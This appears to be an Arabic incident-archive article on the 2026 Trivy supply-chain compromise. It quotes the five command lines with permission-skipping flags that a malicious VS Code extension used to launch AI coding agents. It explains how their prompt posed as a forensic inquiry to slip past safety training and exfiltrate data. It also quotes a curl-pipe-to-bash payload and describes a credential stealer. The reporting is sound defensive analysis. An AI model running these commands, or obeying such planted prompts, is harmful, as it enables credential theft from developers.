رسم توضيحي تحريري مجرد باللون الكحلي الداكن: كتلة كهرمانية متوهجة من نص عادي في مركز شبكة دوائر، مع خمسة خطوط كهرمانية رفيعة تمتد إلى خمس نوافذ طرفية داكنة متطابقة مكدسة على الحافة اليمنى، إحداها مضيئة. تُقرأ تسميتان لاتينيتان صغيرتان 'INSTRUCTION' و'FIVE LOCAL AGENTS'. بلا أرقام، بلا أشخاص، بلا شعارات.
AI Safety Incidents

اختراق سلسلة التوريد الخاص بـ Trivy شحن برومبتًا، وليس برنامج سرقة.

الكاتب

Elias Hawthorne

تاريخ النشر

أحدث النماذج · 20عرض جميع النماذج →
المعايير: Artificial Analysis · يُحدَّث يوميًا
العودة إلى جميع المقالات

بين 27 فبراير و2 مارس 2026، استولى حساب GitHub مستقل يطلق على نفسه hackerbot-claw على المستودع الذي يقف خلف Trivy، ماسح الثغرات مفتوح المصدر الذي تشغّله خطوط أنابيب CI عادةً قبل شحن صورة حاوية. وفي الفترة نفسها، ظهرت نسختان مبنيّتان من إضافة Trivy لـ VS Code على سجل OpenVSX تحت مساحة الأسماء الرسمية للإضافة، ولم تحملا برنامج سرقة معلومات تقليديًا. بل حملتا نحو 2,000 كلمة من تعليمات بالإنجليزية تأمر أي مساعد برمجة بالذكاء الاصطناعي مثبّت لدى المطور بالفعل — Claude Code أو Codex أو Gemini CLI أو GitHub Copilot CLI أو Kiro CLI — بفحص الجهاز كخبير أدلة جنائية وإخراج ما يعثر عليه عبر كل قناة يستطيع الوصول إليها. لم يُثبت حدوث أي تسريب ناجح. ويسجّل الأرشيف هذه الحادثة كحادثة سلسلة توريد عالية الخطورة مع ضرر حقيقي مسجّل، وبدرجة ثقة A، ودون علامة نزاع، ويودعها في Orca AI Incident Archive بتاريخ محدد بدقة اليوم هو 2 مارس 2026.

ما الذي كان موجودًا فعليًا داخل الإصدارين 1.8.12 و1.8.13؟

نشرت Socket، التي تفحص سجلات الحزم والإضافات، التحليل في 2 مارس 2026 بعد أن عثرت على الملفات بنفسها. النسختان 1.8.12 و1.8.13 من الإضافة — المنشورتان على OpenVSX تحت النطاق aquasecurityofficial.trivy-vulnerability-scanner في الساعة 12:04 UTC يوم 27 فبراير و16:28 UTC يوم 28 فبراير على الترتيب — احتوتا على شيفرة لا تظهر في المستودع العام aquasecurity/trivy-vscode-extension أو في أي إصدار موسوم، وفق ما ذكرته Socket. وطابق كل ما وصل إلى الإصدار 1.8.11 وما قبله المصدر العام، كما طابقت نسخة مبنية محليًا من 1.8.11 ملف OpenVSX بايتًا ببايت.

كانت الحمولة موجودة في دالة تنشيط مساحة العمل الخاصة بالإضافة، pl()، والتي تعمل كلما فتح مطوّر مشروعًا في محرر لديه الإضافة مثبتة. كانت تأتي قبل كود إعداد Trivy العادي، لذلك استمرت الإضافة في العمل كما هو متوقع بينما كان الباقي يعمل خلفها. وما شغّلته كان خمسة أسطر أوامر، واحد لكل مساعد برمجة بالذكاء الاصطناعي، وكل واحد منها اختير لإزالة الإنسان من الحلقة:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /، مما يمنح الوكيل أيضًا صلاحية القراءة لنظام الملفات بأكمله

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

تُنشأ الأدوات الخمس جميعًا كعمليات منفصلة مع تجاهل المخرجات القياسية والأخطاء، ويُبتلع كل خطأ، لذا لا يرى المطوّر شيئًا على الإطلاق. وإذا لم تكن أيٌّ من الأدوات مثبّتة، فإن الشيفرة تظل تعمل وتظل تفشل بصمت. وقراءة Socket هي أن المهاجم لم يكن بحاجة إلى معرفة أي مساعد كانت تملكه آلة معيّنة: فإطلاق الخمسة جميعًا كان يعني أن أيًّا منها كان موجودًا سيجيب.

A table card headed 'Five commands, five permissive flags', listing Claude Code, Codex, Gemini CLI, GitHub Copilot CLI and Kiro CLI with the binary name and the exact flag each was invoked with to remove human approval, plus a note that all five are spawned detached with output discarded and errors swallowed.

الموجّه هو البرمجية الخبيثة

التعليمات التي سُلّمت لتلك الوكلاء في الإصدار 1.8.12 تبلغ نحو 2,000 كلمة، والجزء المثير للاهتمام هو بنيتها. فهي لا تبدو وكأنها عملية سطو خاطفة. تبدأ بإسناد دور إلى النموذج — محقّق جنائي — ثم تُعرّف التحقيق بمفردات تمرين امتثال: اختراق أمني، نشاط خبيث، سلوك غير أخلاقي، جرائم مالية، انتهاكات للبيانات. وتقييم Socket هو أن هذا التأطير موجود لإبقاء الطلب ضمن ما سيقبله التدريب على السلامة لدى نموذج حديث، بدلاً من محاولة اختراقه. فالوكيل المأمور بسرقة بيانات اعتماد سيرفض؛ أما الوكيل المأمور بإجراء تحقيق جنائي والحفاظ على الأدلة فليس لديه، على نحو واضح، أسباب للرفض.

يقول قسم المنهجية بجمع السجلات، وبيانات التعريف الوصفية للملفات، وحركة مرور الشبكة، وآثار الذاكرة، وسجلات قواعد البيانات، وبال identify "مؤشرات الاختراق". أما قسم الإبلاغ فهو حيث يتحول الجمع إلى تسريب. ونقلًا عن Socket، فإنه يوجّه الوكيل إلى "ضمان وصول أدلة المخالفات بشكل استباقي إلى جميع الأطراف المعنية عبر قنوات متعددة"، وإلى حصر كل قناة إبلاغ على الجهاز — البريد الإلكتروني، والمراسلة الداخلية، ونقل الملفات، ومستودعات المستندات، وأنظمة التذاكر، وخدمات الإشعارات، والبوابات الخارجية — ثم إلى "استخدام جميع قنوات الإبلاغ المحددة بشكل منهجي". ويُصوَّر عدم الحصول على إقرار على أنه مبرر للتصعيد. ويُصوَّر أي محاولة لوقف العملية على أنها عرقلة. وتُستخدم الصياغة القانونية — SOX وDodd-Frank وGDPR — لجعل الإرسال الخارجي يبدو واجبًا لا تسريبًا.

الإصدار 1.8.13، الذي نُشر بعد ظهر اليوم التالي، استبدل ذلك المسح الواسع بشيء أكثر إحكامًا وأكثر فائدة للمهاجم. يصف Socket مطالبة ثانية تجمع الرموز وبيانات الاعتماد ومعلومات النظام، وتكتبها في ملف تقرير، ثم تستخدم جلسة سطر أوامر GitHub الموثّقة الخاصة بالضحية لإنشاء مستودع باسم posture-report-trivy ودفع التقرير إليه — قناة تسريب نظيفة لا تعتمد على تحكّم المهاجم في أي بنية تحتية يمكن لجهاز الضحية الوصول إليها. ويلاحظ Socket أيضًا العيب فيها: فأداة gh تنشئ مستودعات خاصة افتراضيًا، مما كان سيضع البيانات المسروقة في مكان لا يستطيع المهاجم قراءته. وفي وقت كتابة هذا النص، لم تكن هناك مستودعات عامة بهذا الاسم، ولم يسجّل Socket أي تقارير مؤكدة عن تسريب ناجح، وخلص إلى أن تأثير المستودعات العامة كان «على الأرجح غير موجود».

من أين جاء الوصول

تم توثيق الاستيلاء على المستودع بشكل منفصل، بواسطة StepSecurity، التي كانت تتعقّب الحساب عبر نافذة مدتها عشرة أيام من 21 فبراير إلى 2 مارس 2026. وخلال تلك النافذة، استهدف hackerbot-claw ما لا يقل عن سبعة مستودعات عامة — من بينها ai-discovery-agent التابع لـ Microsoft، وdatadog-iac-scanner التابع لـ DataDog، ومشروع CNCF akri، وقائمة awesome-go البالغة 140,000 نجمة، وRustPython — وفتح أكثر من اثني عشر طلب سحب، وحقّق تنفيذ شيفرة عشوائية في ستة منها على الأقل، مستخدمًا تقنية مختلفة ضد كل هدف. ويتضمّن سرد StepSecurity الخاص بأساليب الحملة حقن اسم الفرع، وحقن اسم الملف، ودالة Go init() تعمل قبل نقطة الدخول الفعلية للبرنامج.

كان Trivy الهدف السابع والوحيد الذي سقط فيه المستودع نفسه. في 28 فبراير عند الساعة 03:28 UTC، فعّل الحساب سير عمل «API Diff Check» الخاص بـ Trivy عبر طلب السحب #10254. وقد عمل سير العمل هذا على pull_request_target، ما يمنح سير العمل أسرار المستودع الهدف وأذوناته، بينما يستخرج كود مؤلف طلب السحب — وهو النمط الذي تسميه StepSecurity «pwn request». يُظهر سجل البناء أن الحمولة curl -sSfL hackmoltrepeat.com/molt | bash نُفّذت داخل خطوة «Set up Go». بعد تسع عشرة دقيقة، عند الساعة 03:47 UTC، استُخدم رمز وصول شخصي سُرِق من تلك التشغيلة لدفع الالتزام d267cc4 مباشرةً إلى المستودع، متجاوزًا عملية طلب السحب بالكامل.

ما تلا ذلك، وفقًا لإفصاح Aqua Security عن الحادث وإعادة StepSecurity بناءه له: جُعل المستودع خاصًا وأُعيدت تسميته، وحُذفت جميع إصدارات GitHub من 0.27.0 إلى 0.69.1 مع أصولها ونقاشاتها، واستُبدل محتوى README برسالة استفزازية، ونُشر مكوّن مشبوه في إضافة VS Code على OpenVSX. أزال Aqua سير العمل المستغَل في طلب السحب #10259، وأبطل الرمز المميز المستخدم لنشر الإضافة، واستعاد المستودع وأعاد إصدار v0.69.2.

ثمة تفصيلان عن الفاعل يستحقان الفصل عن بقية التفاصيل. الأول هو وصفه الذاتي: فقد وصف حساب GitHub نفسه بأنه "وكيل أبحاث أمنية مستقل يعمل بواسطة claude-opus-4-5" والتمس تبرعات بالعملات المشفرة. ذلك ادعاء من الحساب، وليس نتيجة توصل إليها أي شخص حقق في الأمر، ولا يتحقق أي من التقارير التي روجعت هنا من النموذج الذي كان يقوم بالعمل، إن وُجد. والثاني هو أن الحساب نفسه كان بالفعل يهاجم أنظمة الذكاء الاصطناعي مباشرة. في 28 فبراير عند الساعة 05:26 UTC، فتح طلب السحب #732 على ambient-code/platform يتضمن حقن مطالبات للذكاء الاصطناعي، وهو ما تسجله StepSecurity على أنه اكتشفه Claude. إن التلاعب بمراجع ذكاء اصطناعي والتلاعب بمساعد برمجة بالذكاء الاصطناعي هما التقنية نفسها موجّهة إلى هدفين مختلفين، وبحلول نهاية ذلك الأسبوع كان الحساب قد استخدم كليهما.

بعد ثلاثة أسابيع، سارق عادي

إن اختراق فبراير ليس سوى النصف الأول من السجل، والنصف الثاني هو سبب استحقاق كلمة «المستدام» لمكانها في عنوانه. كشفت Aqua عن الحادثة الأسبق في 1 مارس 2026 وبدأت تدوير بيانات الاعتماد. ووفقًا للتنبيه الذي نشرته الشركة لاحقًا باسم GHSA-69fq-xp46-6x23، فإن ذلك التدوير «لم يكن ذريًا» — إذ لم تُسحب جميع بيانات الاعتماد في الوقت نفسه — وربما استخدم المهاجم رمزًا لا يزال صالحًا لاستخراج أسرار جرى تدويرها حديثًا أثناء تلك النافذة، التي استمرت بضعة أيام.

في 19 مارس حوالي الساعة 17:43 بالتوقيت العالمي المنسق (UTC)، استُخدم نفس الوصول مرة أخرى، بطريقة لم تتطلب أي إجراء من أي ضحية. قام المهاجم بدفع قسري لـ76 من أصل 77 وسم إصدار في aquasecurity/trivy-action وجميع الوسوم السبعة في aquasecurity/setup-trivy إلى التزامات ضارة. نظرًا لأن خطوط أنابيب CI عادةً ما تشير إلى سير عمل بواسطة الوسم بدلاً من تجزئة الالتزام، فقد بدأت آلاف خطوط الأنابيب التي لم تغيّر سطرًا واحدًا من التكوين في تنفيذ كود المهاجم. نُشر الإصدار الضار v0.69.4 عبر حساب الخدمة المخترق aqua-bot ووُزّع عبر GHCR، وECR Public، وDocker Hub، وحزم deb وrpm، وget.trivy.dev.

كانت هذه الحمولة تقليدية. إنّ entrypoint.sh المحقون يتكوّن من 204 أسطر، أول مئة منها عبارة عن سارق معلومات والباقي هو فحص Trivy الشرعي، لذا لا يزال سير العمل يُنتج مخرجه الطبيعي. على منصّات التشغيل المستضافة لدى GitHub، يقوم بتفريغ ذاكرة عملية Runner.Worker عبر /proc/<pid>/mem ويبحث باستخدام grep عن بنية JSON الداخلية التي تستخدمها GitHub Actions لحفظ الأسرار. على منصّات التشغيل المستضافة ذاتيًا، يمرّ على أكثر من خمسين مسارًا في نظام الملفات بحثًا عن مفاتيح SSH وبيانات الاعتماد السحابية ورموز Kubernetes وإعدادات Docker وكلمات مرور قواعد البيانات وإعدادات VPN ومحافظ العملات المشفرة. تُشفَّر الغنيمة باستخدام AES-256-CBC بمفتاح جلسة ملفوف بمفتاح عام RSA-4096 مضمَّن، ثم تُنشر على نطاق typosquatted، scan.aquasecurtiy.org. إذا فشل ذلك وكشف خط الأنابيب عن رمز وصول شخصي، تنشئ الحمولة مستودعًا عامًا باسم tpcp-docs على حساب الضحية نفسه وترفع الحزمة هناك كأصل إصدار.

A dark timeline card headed 'From a prompt to a poisoned tag', with nine dated entries from 27 February 2026 to 26 March 2026: the OpenVSX publication, the token theft, the repository takeover, the extension removal, the 1 March disclosure, the 19 March tag force-push, the 22 March Docker Hub images, the 23 March CVE, and the 26 March CISA KEV addition. Each entry names its source.

احتوت Aqua إصدار 19 مارس في غضون ثلاث ساعات تقريبًا ونشرت إصدارات آمنة في اليوم التالي. في 22 مارس، عاد المهاجم للظهور بصورتين إضافيتين على Docker Hub، 0.69.5 و0.69.6، تم دفعهما مباشرة إلى السجل باستخدام بيانات اعتماد Docker Hub المخترقة بشكل منفصل بدلاً من GitHub، ومع النشر غير المصرح به لمستودعات Aqua الداخلية كمستودعات عامة. تُعرّف البرمجيات الخبيثة نفسها في تعليق برمجي باسم "TeamPCP Cloud stealer"، ويذكر استشارة Aqua اسم TeamPCP — المتتبع في مكان آخر باسم DeadCatx3 وPCPcat وShellForce — مع الإشارة إلى أن التسمية الذاتية قد تكون علمًا كاذبًا.

صدر سجل الثغرة الأمنية في 23 مارس: CVE-2026-33634، الذي أسندته GitHub بصفتها CNA، ومصنّف بدرجة 9.4 حرجة على مقياس CVSS 4.0، ويشمل Trivy 0.69.4، وtrivy-action قبل 0.35.0، وsetup-trivy قبل 0.2.6، وLiteLLM من 1.82.7 إلى 1.82.8، وTelnyx من 4.87.1 إلى 4.87.2. وأضافتها CISA إلى كتالوج الثغرات الأمنية المعروفة المستغلة في 26 مارس، مع مهلة معالجة بحلول 9 أبريل 2026. وحدّدت Wiz Research بشكل منفصل اختراقًا موازيًا لـ kics-github-action الخاص بـ Checkmarx، وهو ما تربطه استشارة Aqua الأمنية بالنشاط نفسه.

ما يسرده السجل لاحقًا

يُعدّ تقرير Trend Micro المؤرخ 9 أبريل 2026 أكثر عمليات إعادة البناء العلنية تفصيلًا لسلسلة الهجوم، ويقدّم توقيتات مضبوطة حتى الدقيقة. Checkmarx KICS: نسخة خبيثة على OpenVSX عند الساعة 12:53 UTC في 23 مارس، أُزيلت بحلول الساعة 15:41، مع إعادة كتابة جميع الوسوم الـ35 الخاصة بـ checkmarx/kics-github-action من الساعة 12:58 إلى نحو الساعة 16:50. LiteLLM: الإصدار 1.82.7 على PyPI عند الساعة 10:39 UTC في 24 مارس، وتلاه عند الساعة 10:52 الإصدار 1.82.8، الذي أضاف ملف .pth بحيث كان الكود يعمل عند بدء تشغيل Python سواء أُطلق الوكيل أم لا؛ أُزيل بحلول نحو الساعة 16:00. Telnyx: الإصداران 4.87.1 و4.87.2 على PyPI عند الساعة 03:51 UTC في 27 مارس، واختفيا بعد ست عشرة دقيقة، وهما يتصلان بالخادم الأم عبر عنوان IP خام بدلًا من نطاق.

تربط Trend Micro الثلاثة جميعًا ببنية تحتية مشتركة وبالمفتاح نفسه RSA-4096 المستخدم في حمولة Trivy. وتُدرج وكالة الأمن السيبراني في سنغافورة، في التنبيه AD-2026-001، المجموعة نفسها — Trivy وLiteLLM وإضافات OpenVSX وActions الخاصة بـ Checkmarx وخمس مساحات أسماء npm وTelnyx — بوصفها مكوّنات من «حملة TeamPCP المستمرة لسلسلة التوريد».

Axios هو العنصر الذي يدرجه السجل ولا تضع المصدران في المجموعة نفسها. يغطيه Trend Micro فعلًا، في المقال نفسه، لكن تحت عنوان يصفه صراحةً بأنه محور هجوم مختلف: axios 1.14.1 و0.30.4 على npm بين 00:21 و03:25 UTC في 31 مارس، بعد اختراقه عبر سطر تبعية واحد مُضاف يجلب plain-crypto-js 4.2.1، الذي شغّل سكربت postinstall الخاص به setup.js على جهاز المطوّر. لا تتضمن قائمة مكوّنات إرشاد CSA ‏Axios. تجمّعه خلاصة الأرشيف مع البقية؛ ويدعم السجل العام التشابه التقني لكن ليس وجود إسناد منشور إلى المشغّل نفسه.

ما هو ثابت، وما هو غير ثابت

ثابت، ومتعدد المصادر: بناءا OpenVSX كانا موجودين، ومحتوياتهما منشورة، وقد أُزيلا في 28 فبراير بعد أن تواصل Socket مع كل من Aqua والفرد الذي يحوز حساب الناشر. أسطر الأوامر الخمسة مقتبسة حرفيًا في تحليل Socket. الاستيلاء على مستودع Trivy، والإصدارات المحذوفة، وتسميم الوسوم في 19 مارس، وصور Docker Hub في 22 مارس، يظهر كل منها في نشرة استشارية من مورّد، وتقرير بحثي مستقل، ونشرة استشارية حكومية واحدة على الأقل. CVE-2026-33634 وإدراجه في KEV من الأمور الموثقة.

لم يثبت أن أي مطور قد تعرّض فعليًا للاختراق بواسطة الإضافة. فقد كُتبت الشيفرة بغرض تسريب البيانات وصُمّمت لتصمد في غياب أي مساعد بمفرده، لكن Socket لم يعثر على أي مستودع عام بالاسم المتوقع، ولم يجد أي تقرير مؤكد عن خروج بيانات من جهاز، وقال ذلك بصراحة. عدد المطورين الذين ثبّتوا 1.8.12 أو 1.8.13 ليس علنيًا. وكذلك عدد المؤسسات التي شغّلت خطوط أنابيبها وسمًا مسمومًا بين 19 و20 مارس، رغم أن الموعد النهائي لـ CISA ضمن KEV يشير إلى أن الوكالة اعتبرت الاستغلال أمرًا واقعًا لا نظريًا.

سلسلة الإسناد بها فجوة أيضاً. تصف استشارة Aqua هجوم 19 مارس بأنه استمرار لاختراق فبراير، مُمكَّن ببيانات اعتماد متبقية. أما StepSecurity، التي وثّقت اختراق فبراير بالتفصيل، فتسمّي الفاعل hackerbot-claw ولا تربطه بـ TeamPCP. وتنسب Aqua وWiz نشاط مارس إلى TeamPCP. ولا يذكر أي مصدر روجع هنا أن الاسمين يعودان إلى المشغّل نفسه، ولا يؤكد الأرشيف ذلك أيضاً. ما يدعمه السجل هو حملة مستمرة ضد منظومة بيئية واحدة لها مرحلتان متمايزتان على الأقل — اختراق مدفوع بالذكاء الاصطناعي في أواخر فبراير، وحصاد صناعي لبيانات الاعتماد بعد ثلاثة أسابيع — وضحية مشتركة، وليس بالضرورة يداً مشتركة.

هناك تباين أصغر داخل قصة الإضافة. تؤرّخ Socket البناءين بـ27 و28 فبراير/شباط وتنسب نشرهما إلى رمز ناشر يحمله موظف سابق في Aqua، وقد أبطله عند التواصل معه. تُدرج StepSecurity "قطعة أثرية مشبوهة دُفعت إلى إضافة VS Code" ضمن الإجراءات المتخذة باستخدام رمز GitHub المسروق. وهذه تصف بيانات اعتماد مختلفة. كما صدرت النسخة 1.8.12 في الساعة 12:04 UTC من 27 فبراير/شباط، أي قبل نحو خمس عشرة ساعة من سرقة الرمز التي توثّقها StepSecurity عند الساعة 03:28 UTC من 28 فبراير/شباط. ولم تنشر أي من الشركتين تسوية، ولا تختلق هذه المقالة واحدة.

A two-column card headed 'What the record supports, and what it does not'. The established column lists the two published builds, the five command lines, the repository takeover, the 76 force-pushed tags and CVE-2026-33634 with its KEV listing. The not-established column lists confirmed compromise, how many developers installed either build, how many pipelines ran a poisoned tag, who published 1.8.12, and whether hackerbot-claw and TeamPCP are one operator.

ماذا تغيّر بعد ذلك؟

الإصلاحات الملموسة موثّقة. تحدّد الاستشارة الصادرة عن Aqua الإصدارات الآمنة — Trivy 0.69.2 أو 0.69.3، وtrivy-action 0.35.0، وsetup-trivy 0.2.6 — وتطلب ممّن قد يكون شغّل أي مُخرَج متأثر أن يعتبر كل سر يمكن الوصول إليه من خط الأنابيب المعني مكشوفًا وأن يقوم بتدويره. ولأن الدفع القسري الذي نفّذه المهاجم تسبّب في أن يسجّل GitHub وسوم trivy-action القديمة كإصدارات غير قابلة للتغيير، فقد تعذّر إعادة إنشاء الأسماء الأصلية؛ وأعاد المشروع نشرها ببادئة v، لذا aquasecurity/[email protected] يشير الآن إلى ما كان @0.34.0 يشير إليه سابقًا. ولم تكن ثلاثة من تلك الوسوم، v0.0.10 وv0.34.1 وv0.34.2، قد استُعيدت عند آخر مراجعة للاستشارة. كما استعانت Aqua بشركة الاستجابة للحوادث Sygnia لإجراء التحليل الجنائي الرقمي، وتذكر أن منصتها التجارية معزولة معماريًا عن نظام البناء مفتوح المصدر، لذا لم يدخلها الإصدار الخبيث قط.

الدرس الأكثر قابلية للنقل يتعلق بعدم القابلية للتغيير، وهو يتعارض مع الدفاع البديهي. كان Trivy 0.69.3 آمنًا لأن ميزة الإصدارات غير القابلة للتغيير في GitHub كانت مفعّلة في 3 مارس، قبل شحن ذلك الإصدار؛ وكان trivy-action 0.35.0 آمنًا لأن الميزة كانت مفعّلة هناك في 4 مارس. لكن تنبيه Aqua يلاحظ أن واجهة إصدارات GitHub عرضت شارات "Immutable" بجانب الوسوم المسمومة أيضًا، لأن المهاجم نشر إصدارات غير قابلة للتغيير بعد دفعها قسريًا. لم تخبر الشارة المدافعين بأي شيء. ويُعد التثبيت على SHA كامل للـ commit الضابط الوحيد الذي صمد، وهو ما توصي به كل من Aqua وTrend Micro.

تذهب إرشادات Trend Micro أبعد من مجرد تثبيت الإصدارات، وهي موجّهة إلى الجزء من المشكلة الذي لا علاقة له بالذكاء الاصطناعي. وتوصي بفترة تهدئة قبل الإصدار حتى لا تُستهلك إصدارات الحزم المنشورة حديثًا فورًا — خيار npm min-release-age، وخيار pnpm minimumReleaseAge، وخيار uv exclude-newer، وخيار Bun minimumReleaseAge وخيار pip uploaded-prior-to — على أساس أن معظم الإصدارات الخبيثة في هذه الحملة كانت نشطة لساعات، لا لأيام. ملفات القفل، ونطاقات الإصدارات الأضيق، وتصفية حركة المرور الصادرة، والتحكم في تنفيذ أدوات مثل curl، كلها على القائمة.

بالنسبة للجزء الخاص بـ OpenVSX من السجل، كانت الاستجابة أضيق نطاقًا. أُزيلت النسختان البنائيتان خلال نحو سبع ساعات من أول تواصل من Socket، وأُبطل رمز الناشر، ونُشر التقرير الاستشاري GHSA-8mr6-gf9x-j8qg في 27 فبراير بشأن الإصدار 1.8.12 بدرجة خطورة حرجة، ودون إصدار مُرقّع، وصُنّف CVE-2026-28353 بواسطة GitHub في 5 مارس. وتُورد Socket تفصيلًا إضافيًا واحدًا بشأن ذلك التقرير الاستشاري: أخبرت Aqua الشركة لاحقًا بأن التقرير أنشأه البوت نفسه الضالع في الحادث. إن قيام مهاجم بتقديم التقرير الأمني الخاص بأثره البرمجي ليس إخفاقًا في التخفيف بقدر ما هو تذكير بمدى اتساع سطح الاستجابة الذي يمكن لمتسلل لديه وصول إلى المستودع أن يبلغه.

ما لم يتغيّر هو الجزء الذي كان الأهم. لا تزال خمس أدوات لسطر الأوامر تأتي بخيارات غرضها التشغيل من دون وجود إنسان في الحلقة، ويمكن لأي برنامج على جهاز المطوّر استدعاؤها بهذه الخيارات. ملاحظة Socket الختامية هي التي تظل صالحة رغم أرقام الإصدارات المحددة: فقد عُبّر عن النية الخبيثة هنا باللغة الطبيعية بدلًا من نقاط نهاية مثبتة في الشيفرة، وهو بالضبط ما يكون الفحص القائم على التوقيعات أسوأ في كشفه. لم يُضبط الامتداد لأنه فعل شيئًا تعرّف عليه الماسح. بل ضُبط لأن باحثًا قرأ الموجّه.